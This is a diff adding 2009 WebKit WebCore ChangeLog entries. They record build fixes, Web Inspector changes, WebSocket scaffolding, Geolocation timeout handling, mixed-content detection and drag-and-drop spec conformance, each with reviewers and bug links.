+        Add RegularExpression class qualifier before Private.
+
+        * platform/text/RegularExpression.cpp:
+
+2009-09-11  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29131
+        Use a different variadic macro format for Symbian compiler.
+        
+        Use arg... instead of ellipsis in variadic macro.        
+
+        * platform/StaticConstructors.h:
+
+2009-09-11  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28806
+
+        [Qt] Make the WebInspector available as a QWidget.
+
+        * WebCore.pro:
+
+2009-09-11  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed fix for the Web Inspector with the Qt build.
+
+        Re-generate the Qt resource file by running
+        WebKitTools/Scripts/generate-qt-inspector-resource
+
+        * inspector/front-end/WebKit.qrc:
+
+2009-09-11  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Fix the Qt build, remove stray semicolon from function definition.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::buffered):
+
+2009-09-10  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Detect mixed content
+        https://bugs.webkit.org/show_bug.cgi?id=29003
+
+        Detect some basic kinds of mixed content (HTTP content loaded into an
+        HTTPS context).  This new detection logic isn't perfect, but it's a
+        place to start.
+
+        Tests: http/tests/security/mixedContent/about-blank-iframe-in-main-frame.html
+               http/tests/security/mixedContent/data-url-iframe-in-main-frame.html
+               http/tests/security/mixedContent/data-url-script-in-iframe.html
+               http/tests/security/mixedContent/insecure-css-in-iframe.html
+               http/tests/security/mixedContent/insecure-css-in-main-frame.html
+               http/tests/security/mixedContent/insecure-iframe-in-iframe.html
+               http/tests/security/mixedContent/insecure-iframe-in-main-frame.html
+               http/tests/security/mixedContent/insecure-image-in-iframe.html
+               http/tests/security/mixedContent/insecure-image-in-main-frame.html
+               http/tests/security/mixedContent/insecure-script-in-iframe.html
+               http/tests/security/mixedContent/redirect-http-to-https-iframe-in-main-frame.html
+               http/tests/security/mixedContent/redirect-http-to-https-script-in-iframe.html
+               http/tests/security/mixedContent/redirect-https-to-http-iframe-in-main-frame.html
+               http/tests/security/mixedContent/redirect-https-to-http-script-in-iframe.html
+
+        * loader/DocLoader.cpp:
+        (WebCore::DocLoader::canRequest):
+        (WebCore::DocLoader::requestResource):
+        (WebCore::DocLoader::checkCacheObjectStatus):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isMixedContent):
+        (WebCore::FrameLoader::checkIfDisplayInsecureContent):
+        (WebCore::FrameLoader::checkIfRunInsecureContent):
+        * loader/FrameLoader.h:
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::willSendRequest):
+
+2009-09-10  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Windows build.
+
+        Restore platform/mock to the header search path after it was removed in r48270.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+
+2009-09-08  Timothy Hatcher  <timothy@apple.com>
+
+        Web Inspector: Move the option to create a new style rule under the Styles' gear menu.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29039
+
+        Reviewed by Sam Weinig.
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane): Add "New Style Rule" option to the gear menu.
+        (WebInspector.StylesSidebarPane.prototype._update): Check instanceof BlankStylePropertiesSection instead.
+        (WebInspector.StylesSidebarPane.prototype._changeSetting): Added. Keeps the color format setting selected
+        while calling the correct action.
+        (WebInspector.StylesSidebarPane.prototype._createNewRule): Creates a new section and edits the selector.
+        (WebInspector.StylesSidebarPane.prototype.addBlankSection): Insert the section in a cleaner way.
+        (WebInspector.StylesSidebarPane.prototype.removeSection): Added. Removes the passed in section.
+        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode): Return an empty string if there is no node.
+        (WebInspector.StylePropertiesSection.prototype.expand): Removed the check for _blank.
+        (WebInspector.StylePropertiesSection.prototype.startEditingSelector): No need for the context, the original selector
+        is remembered by the editing code.
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled): Do nothing. The original text is already
+        restored by the editing code.
+        (WebInspector.BlankStylePropertiesSection): Call the StylePropertiesSection constructor with appropriate data.
+        Remove event listener code.
+        (WebInspector.BlankStylePropertiesSection.prototype.expand): Added. Does nothing to prevent expanding.
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted.callback): Correctly construct the
+        WebInspector.CSSStyleDeclaration. Call editingSelectorCancelled instead of editingCancelled.
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted): Renamed from editingCommitted to
+        override the base class.
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCancelled): Remove the section.
+        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal): Removed event listener code. Removed the delete lines
+        since they were doing nothing (deleting nonexistent properties that exist only on the prototype.) Change prototypes at
+        the end to correctly swtich to a real StylePropertiesSection.
+        * inspector/front-end/inspector.js:
+        (WebInspector.startEditing.editingCancelled): Ceck for null/undefined callbacks.
+        (WebInspector.startEditing.editingCommitted): Ditto.
+
+2009-09-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Fix comparison between signed and unsigned integer warnings
+        https://bugs.webkit.org/show_bug.cgi?id=29162
+
+        No functional change.
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::findMethodIndex):
+        * platform/MIMETypeRegistry.cpp:
+        (WebCore::initializeSupportedImageMIMETypes):
+        (WebCore::initializeSupportedImageMIMETypesForEncoding):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::duration):
+        (WebCore::ImageDecoderQt::imageAtIndex):
+        * plugins/qt/PluginPackageQt.cpp:
+        (WebCore::PluginPackage::fetchInfo):
+
+2009-09-10  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Build fix for GTKafter r48267.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::buffered):
+
+2009-09-08  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Remove unneeded define for ActiveX.
+        https://bugs.webkit.org/show_bug.cgi?id=29054
+
+        * rendering/RenderPartObject.cpp:
+        (WebCore::createClassIdToTypeMap):
+        (WebCore::serviceTypeForClassId):
+        (WebCore::RenderPartObject::updateWidget):
+
+2009-09-10  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Sam Weinig.
+
+        Don't copy IDL files in to the built framework.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-09-10  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Implment Range.expand().
+        https://bugs.webkit.org/show_bug.cgi?id=27632
+
+        Test: fast/dom/Range/range-expand.html
+
+        * dom/Range.cpp:
+        (WebCore::Range::expand):
+        * dom/Range.h:
+        * dom/Range.idl:
+
+2009-09-10  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        WebSocket API implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=28038
+        
+        Add build systems for GNUmakefile.am, WebCore.xcodeproj and
+        WebCore.vcproj.
+        Add websockets directory and WebSocket.idl in qt build system.
+        Tests will be landed once the code is completed and functional.
+
+        * DerivedSources.cpp:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::webSocket):
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toWebSocket):
+        * dom/EventTarget.h:
+        * page/DOMWindow.idl:
+        * websockets/WebSocket.cpp:
+        (WebCore::ProcessWebSocketEventTask::create):
+        (WebCore::ProcessWebSocketEventTask::performTask):
+        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
+        (WebCore::isValidProtocolString):
+        (WebCore::WebSocket::connect):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::addEventListener):
+        (WebCore::WebSocket::removeEventListener):
+        (WebCore::WebSocket::dispatchEvent):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+        (WebCore::WebSocket::dispatchOpenEvent):
+        (WebCore::WebSocket::dispatchMessageEvent):
+        (WebCore::WebSocket::dispatchCloseEvent):
+        * websockets/WebSocket.h:
+        (WebCore::WebSocket::create):
+        (WebCore::WebSocket::):
+        (WebCore::WebSocket::setOnopen):
+        (WebCore::WebSocket::onopen):
+        (WebCore::WebSocket::setOnmessage):
+        (WebCore::WebSocket::onmessage):
+        (WebCore::WebSocket::setOnclose):
+        (WebCore::WebSocket::onclose):
+        (WebCore::WebSocket::toWebSocket):
+        (WebCore::WebSocket::eventListeners):
+        (WebCore::WebSocket::refEventTarget):
+        (WebCore::WebSocket::derefEventTarget):
+        * websockets/WebSocketChannel.cpp: Added.
+        * websockets/WebSocketChannel.h: Added.
+        * websockets/WebSocketChannelClient.h: Added.
+        * websockets/WebSocketHandshake.cpp: Added.
+        * websockets/WebSocketHandshake.h: Added.
+
+2009-09-10  Albert J. Wong  <ajwong@chromium.org>
+
+        No review, windows build fix only.
+        
+        Spurious semicolon causing parse error in chromium build on windows.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::buffered):
+
+2009-09-10  Albert J. Wong  <ajwong@chromium.org>
+
+        No review, build fix only.
+
+        Adding in a missed include from the last patch that is breaking the
+        chromium build.
+
+        * rendering/RenderThemeChromiumMac.mm: include TimeRanges.h
+
+2009-09-10  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        HTMLMediaElement buffered attribute should report a list of time ranges
+        https://bugs.webkit.org/show_bug.cgi?id=29041
+
+        Changed MediaPlayerPrivateInterface and MediaPlayer's definition to
+        report a list of buffered time ranges as WebCore::TimeRanges. This
+        change also got rid of the maxTimeBuffered() method.
+
+        No new tests since this is a API change.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::percentLoaded):
+        Use MediaPlaier::buffered() instead of maxTimeBuffered().
+        (WebCore::HTMLMediaElement::buffered):
+        ditto.
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::buffered):
+        Use MediaPlayerPrivateInterface::buffered() instead of maxTimeBuffered().
+        (WebCore::MediaPlayer::buffered):
+        ditto.
+        * platform/graphics/MediaPlayer.h:
+        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/MediaPlayerPrivate.h:
+        ditto.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        Implements PassRefPtr<TimeRanges> buffered();
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::buffered):
+        Implementation of buffered().
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        Implements PassRefPtr<TimeRanegs> buffered().
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
+        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        Implements PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        Removed maxTimeBuffered() and defines PassRefPtr<TimeRanges> buffered().
+        * platform/graphics/wince/MediaPlayerPrivateWince.h:
+        ditto.
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+        Use buffered() instead of maxTimeBuffered().
+        * rendering/RenderThemeChromiumSkia.cpp:
+        ditto.
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMediaSliderTrack):
+        ditto.
+
+2009-09-10  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Make bindings generators more aware of IDL dependencies
+        https://bugs.webkit.org/show_bug.cgi?id=29114
+
+        Make the JS and ObjC bindings generators able to output dependency
+        rules for DerivedSources.make to consume.  These rules make a given
+        generated binding class file header, JSWhatever.h, depend on Whatever's
+        ancestor interfaces.
+
+        * DerivedSources.make: Pass --write-dependencies to generate-bindings.pl
+        when generating JS and ObjC bindings.  Include dependency fies that are
+        generated due to that.
+        * bindings/scripts/CodeGenerator.pm: Make
+        AddMethodsConstantsAndAttributesFromParentClasses accumulate a list of
+        the ancestor interfaces that were visited.
+        * bindings/scripts/CodeGeneratorJS.pm: Optionally write out a dependency
+        file.
+        * bindings/scripts/CodeGeneratorObjC.pm: Ditto.
+        * bindings/scripts/generate-bindings.pl: Add a --write-dependencies
+        option.
+
+2009-09-10  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez and Dan Winship.
+
+        Give all requests to libsoup, to let it queue, and schedule them
+        itself, instead of throttling the number of requests in WebCore.
+
+        * platform/network/ResourceRequestBase.cpp:
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::initializeMaximumHTTPConnectionCountPerHost):
+
+2009-09-10  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Make XMLHttpRequest.send handle File object.
+        https://bugs.webkit.org/show_bug.cgi?id=28924
+
+        Test: http/tests/local/send-dragged-file.html
+
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-09-10  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Use fastNew and fastDelete instead of operator new and delete for CSSSelector class. 
+        https://bugs.webkit.org/show_bug.cgi?id=25930
+
+        Change using of operator new to fastNew and operator delete to
+        fastDeleteSkippingDestructor for CSSSelector class to avoid mismatched function call.
+
+        This change fixes valgrind's 'mismatched free' notification.
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::~CSSParser):
+        (WebCore::CSSParser::createFloatingSelector):
+        * css/CSSSelectorList.cpp:
+        (WebCore::CSSSelectorList::adoptSelectorVector):
+
+2009-09-10  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Geolocation does not correctly handle reentrant calls from callbacks.
+        https://bugs.webkit.org/show_bug.cgi?id=29040
+
+        Tests: fast/dom/Geolocation/reentrant-error.html
+               fast/dom/Geolocation/reentrant-success.html
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::handleError): Modified. Call sendError directly, clearing notifier lists before making callback.
+        (WebCore::Geolocation::makeSuccessCallbacks): Modified. Call sendPosition directly, clearing notifier lists before making callback.
+        * page/Geolocation.h: Modified. Deleted sendErrorToXX and sendPositionToXXX methods.
+
+2009-09-10  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fixes issue where focused elements did not get blur and focus events when the window was blurred and focused.
+        https://bugs.webkit.org/show_bug.cgi?id=27105
+
+        Test: fast/events/blur-focus-window-should-blur-focus-element.html
+
+        * page/FocusController.cpp:
+        (WebCore::dispatchEventsOnWindowAndFocusedNode):
+        (WebCore::FocusController::setFocused):
+        (WebCore::FocusController::setActive):
+
+2009-09-10  Adam Roben  <aroben@apple.com>
+
+        Make the play/pause button in <video> controls indicate the button's
+        action, not the movie state
+
+        This matches the Mac behavior, iTunes, and many other media players.
+
+        No test possible.
+
+        Fixes <http://webkit.org/b/29126> Play/pause button in <video>
+        controls shows the wrong image
+
+        Reviewed by Eric Carlson.
+
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::RenderMediaControls::paintMediaControlsPart): Reversed when
+        we show the play vs. pause artwork, so that the button reflects what
+        will happen when you click it, rather than the current state of the
+        movie.
+
+2009-09-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Geolocation Coordinates::toString() prints bogus values for unspecified properties.
+        https://bugs.webkit.org/show_bug.cgi?id=29080
+
+        Test: fast/dom/Geolocation/position-string.html
+
+        * GNUmakefile.am: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * WebCore.gypi: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * WebCore.pro: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * WebCore.vcproj/WebCore.vcproj: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * WebCoreSources.bkl: Modified. Removes Geoposition.cpp and Coordinates.cpp.
+        * page/Coordinates.cpp: Removed.
+        * page/Coordinates.h: Modified. Removes toString method.
+        * page/Coordinates.idl: Modified. Removes toString method.
+        * page/Geoposition.cpp: Removed.
+        * page/Geoposition.h: Modified. Removes toString method.
+        * page/Geoposition.idl: Modified. Removes toString method.
+
+2009-09-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Correctly applies the Geolocation timeout property.
+        https://bugs.webkit.org/show_bug.cgi?id=27256
+
+        If a timeout is specified, the timer is started as soon as the location acquistion process starts.
+        If a position fix is not obtained within the timeout interval, the position request is cancelled
+        and the error callback (if specified) is invoked. If a position fix is obtained within the timeout
+        interval, the timer is stopped. Permissions are then requested from the user if required. See
+        http://www.w3.org/TR/geolocation-API/#position-options.
+
+        Note that this logic means that the time required to obtain permissions from the user is not
+        included in the timeout interval.
+
+        Tests: fast/dom/Geolocation/timeout.html
+               fast/dom/Geolocation/timeout-zero.html
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. Takes Geolocation object as parameter.
+        (WebCore::Geolocation::GeoNotifier::hasZeroTimeout): Added. Determines whether this request has a zero timeout.
+        (WebCore::Geolocation::GeoNotifier::startTimerIfNeeded): Renamed from startTimer. Starts the timer if a timeout was specified.
+        (WebCore::Geolocation::GeoNotifier::timerFired): Modified. Calls the error callback if specified, and reports the timeout to the Geolocation object.
+        (WebCore::Geolocation::getCurrentPosition): Modified. Calls maybeStartTimer when starting the location acquisition process.
+        (WebCore::Geolocation::watchPosition): Modified. Calls maybeStartTimer when starting the location acquisition process.
+        (WebCore::Geolocation::requestTimedOut): Added. Cancels a request when it times out.
+        (WebCore::Geolocation::setIsAllowed): Modified. No longer starts timers.
+        (WebCore::Geolocation::sendPosition): Modified. No longer stops timers.
+        (WebCore::Geolocation::stopTimer): Added. Stops the timers for a vector of notifiers.
+        (WebCore::Geolocation::stopTimersForOneShots): Added. Stops the timers for all one-shots.
+        (WebCore::Geolocation::stopTimersForWatchers): Added. Stops the timers for all watchers.
+        (WebCore::Geolocation::stopTimers): Added. Stops the timers for all requests.
+        (WebCore::Geolocation::geolocationServicePositionChanged): Modfified. Stops the timers for all requests.
+        * page/Geolocation.h: Modified.
+        (WebCore::Geolocation::GeoNotifier::create): Modified. Takes Geolocation object as parameter.
+
+2009-09-09  Chris Fleizach  <cfleizach@apple.com>
+
+        AX notifications should be an ENUM type instead of strings
+        https://bugs.webkit.org/show_bug.cgi?id=28963
+
+        Build fix for Qt.
+
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::postNotification):
+        (WebCore::AXObjectCache::postPlatformNotification):
+
+2009-09-08  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        AX notifications should be an ENUM type instead of strings
+        https://bugs.webkit.org/show_bug.cgi?id=28963
+
+        Moves AX notifications over to an ENUM type instead of
+        using the actual string values that are used on OS X.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::postNotification):
+        (WebCore::AXObjectCache::selectedChildrenChanged):
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::handleActiveDescendantChanged):
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * accessibility/gtk/AXObjectCacheAtk.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * accessibility/mac/AXObjectCacheMac.mm:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose):
+        * dom/Element.cpp:
+        (WebCore::Element::updateAfterAttributeChanged):
+        * editing/Editor.cpp:
+        (WebCore::Editor::respondToChangedContents):
+        * editing/mac/SelectionControllerMac.mm:
+        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setChecked):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::setInnerTextValue):
+
+2009-09-08  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Missing checkout for getSVGDocument()
+        https://bugs.webkit.org/show_bug.cgi?id=29064
+
+        The V8 code generator didn't understand SVGCheckSecurityDocument.
+
+        Tests: http/tests/security/xss-DENIED-getSVGDocument-iframe.html
+               http/tests/security/xss-DENIED-getSVGDocument-object.html
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-09-09  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Make SVGStyleElement inherit from SVGLangSpace
+        https://bugs.webkit.org/show_bug.cgi?id=29058
+
+        Required by SVG 1.1 Second Edition:
+        http://dev.w3.org/SVG/profiles/1.1F2/publish/styling.html#InterfaceSVGStyleElement
+
+        Test: svg/dom/SVGStyleElement/style-langspace.html
+
+        * svg/SVGStyleElement.cpp: Drop methods xmlspace and setXmlspace.
+        (WebCore::SVGStyleElement::SVGStyleElement): Add SVGLangSpace()
+        initializer.
+        (WebCore::SVGStyleElement::parseMappedAttribute): Call
+        parseMappedAttribute on SVGLangSpace.
+        * svg/SVGStyleElement.h: Drop xmlspace and setXmlspace declarations.
+        * svg/SVGStyleElement.idl: Drop xmlspace attribute and add SVGLangSpace
+        as a superinterface.
+
+2009-09-09  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by David Levin.
+
+        Remove unnecessary includes and forward declarations in V8Proxy.h
+
+        https://bugs.webkit.org/show_bug.cgi?id=29111
+
+        * bindings/v8/V8Proxy.h:
+
+2009-07-30  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Add more position constructors
+        positionBeforeNode, positionAfterNode
+        firstPositionInNode, lastPositionInNode
+        https://bugs.webkit.org/show_bug.cgi?id=25494
+
+        I also added a lastOffsetInNode and deployed it to a couple places.
+
+        There are no callers to these new constructors yet, but those
+        will be coming in future patches.
+
+        * dom/Position.cpp:
+        (WebCore::Position::computeOffsetInContainerNode):
+        * dom/Position.h:
+        (WebCore::positionBeforeNode):
+        (WebCore::positionAfterNode):
+        (WebCore::lastOffsetInNode):
+        (WebCore::firstPositionInNode):
+        (WebCore::lastPositionInNode):
+        * editing/ApplyStyleCommand.cpp:
+        * editing/TextIterator.cpp:
+        (WebCore::SimplifiedBackwardsTextIterator::SimplifiedBackwardsTextIterator):
+        * editing/htmlediting.cpp:
+        (WebCore::lastOffsetForEditing):
+
+2009-04-30  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Rename positionBeforeNode to positionInParentBeforeNode
+        and positionAfterNode to positionInParentAfterNode
+        in preparation for adding a positionBeforeNode
+        which returns a neighbor-anchored position.
+        https://bugs.webkit.org/show_bug.cgi?id=25494
+
+        No functional changes, thus no tests.
+
+        * dom/PositionConstructors.h:
+        (WebCore::positionInParentBeforeNode):
+        (WebCore::positionInParentAfterNode):
+        * dom/PositionIterator.cpp:
+        (WebCore::PositionIterator::operator Position):
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::ApplyStyleCommand::applyInlineStyle):
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::positionOutsideTabSpan):
+        (WebCore::CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph):
+        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary):
+        * editing/CreateLinkCommand.cpp:
+        (WebCore::CreateLinkCommand::doApply):
+        * editing/DeleteButtonController.cpp:
+        (WebCore::DeleteButtonController::deleteTarget):
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::initializeStartEnd):
+        (WebCore::updatePositionForNodeRemoval):
+        * editing/InsertLineBreakCommand.cpp:
+        (WebCore::InsertLineBreakCommand::doApply):
+        * editing/InsertListCommand.cpp:
+        (WebCore::InsertListCommand::doApply):
+        * editing/InsertParagraphSeparatorCommand.cpp:
+        (WebCore::InsertParagraphSeparatorCommand::doApply):
+        * editing/InsertTextCommand.cpp:
+        (WebCore::InsertTextCommand::input):
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::positionAtStartOfInsertedContent):
+        (WebCore::ReplaceSelectionCommand::doApply):
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::adjustSelectionToAvoidCrossingEditingBoundaries):
+        * editing/htmlediting.cpp:
+        (WebCore::firstEditablePositionAfterPositionInRoot):
+        (WebCore::lastEditablePositionBeforePositionInRoot):
+        (WebCore::rangeCompliantEquivalent):
+        (WebCore::positionBeforeContainingSpecialElement):
+        (WebCore::positionAfterContainingSpecialElement):
+        (WebCore::positionBeforeTabSpan):
+
+2009-04-30  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Re-organize position creation functions in preparation for adding more
+        https://bugs.webkit.org/show_bug.cgi?id=25494
+
+        Make position functions inline to avoid ref-churn.
+        Remove startPosition/endPosition as they were only used in one place.
+
+        No functional changes, thus no tests.
+
+        * dom/Position.cpp:
+        * dom/Position.h:
+        (WebCore::positionBeforeNode):
+        (WebCore::positionAfterNode):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::moveTo):
+        * editing/TypingCommand.cpp:
+        * editing/htmlediting.cpp:
+        * editing/htmlediting.h:
+        (WebCore::firstDeepEditingPositionForNode):
+        (WebCore::lastDeepEditingPositionForNode):
+        * rendering/RenderObject.cpp:
+
+2009-09-09  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+        
+        [wx] Add wxSize conversions for IntSize.
+        https://bugs.webkit.org/show_bug.cgi?id=29104
+
+        * platform/graphics/IntSize.h:
+        * platform/graphics/wx/IntSizeWx.cpp: Added.
+        (WebCore::IntSize::IntSize):
+        (WebCore::IntSize::operator wxSize):
+
+2009-09-09  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by David Levin.
+        
+        Chromium uses its own config.h file that was forked from webkit's config.h.
+        By merging in Chromium's defines, Chromium would again be able to use webkit's
+        config.h.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28882 
+
+        * config.h: Added chromium-specific defines. 
+
+2009-09-09  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Initialize DataTransfer's effectAllowed and dropEffect properties correctly
+        according to HTML5 spec (sec. 7.9.2-7.9.3).
+        https://bugs.webkit.org/show_bug.cgi?id=26700
+        - At the start of a drag operation, the value of effectAllowed should be
+          the string "uninitialized".
+        - At end of dragstart handler, if effectAllowed hasn't been set yet, it
+          should be set to "copy".
+        - on dragenter and dragover event, dropEffect should be initialized to a
+          default value based on the value of effectAllowed.
+        - at end of dragenter and dragover the dropEffect should be set to "none"
+          if the value set by the handler doesn't match the effectAllowed.
+        - on dragleave event, dropEffect should be "none".
+        - on drop event, dropEffect should be the previously negotiated value.
+
+        Test: fast/events/drag-dropeffect.html
+
+        * WebCore.base.exp:
+            Added a parameter to EventHandler::dragSourceMovedTo.
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::Clipboard):
+            Initialize m_effectAllowed to "uninitialized".
+        (WebCore::Clipboard::sourceOperation):
+            Treat "uninitialized" as meaning no value has been set.
+        * page/DragController.cpp:
+        (WebCore::DragController::DragController):
+            Initialize new member m_destinationDragOperation.
+        (WebCore::DragController::dragExited):
+            Set m_destinationDragOperation to none on dragExit.
+        (WebCore::DragController::performDrag):
+            Set m_destinationDragOperation to current dropEffect.
+        (WebCore::DragController::dragEnteredOrUpdated):
+            Make sure to clear the operation if drag source doesn't allow it.
+        (WebCore::DragController::tryDHTMLDrag):
+            Set a default value for the dst drag op before sending dragEnter/Over.
+        (WebCore::DragController::startDrag):
+            Clear m_destinationDragOperation at start of drag.
+        * page/DragController.h:
+        (WebCore::DragController::destinationDragOperation):
+            Added new member m_destinationDragOperation, and its public getter.
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::updateDragAndDrop):
+            dropEffect should be 'none' during dropleave handler, per spec.
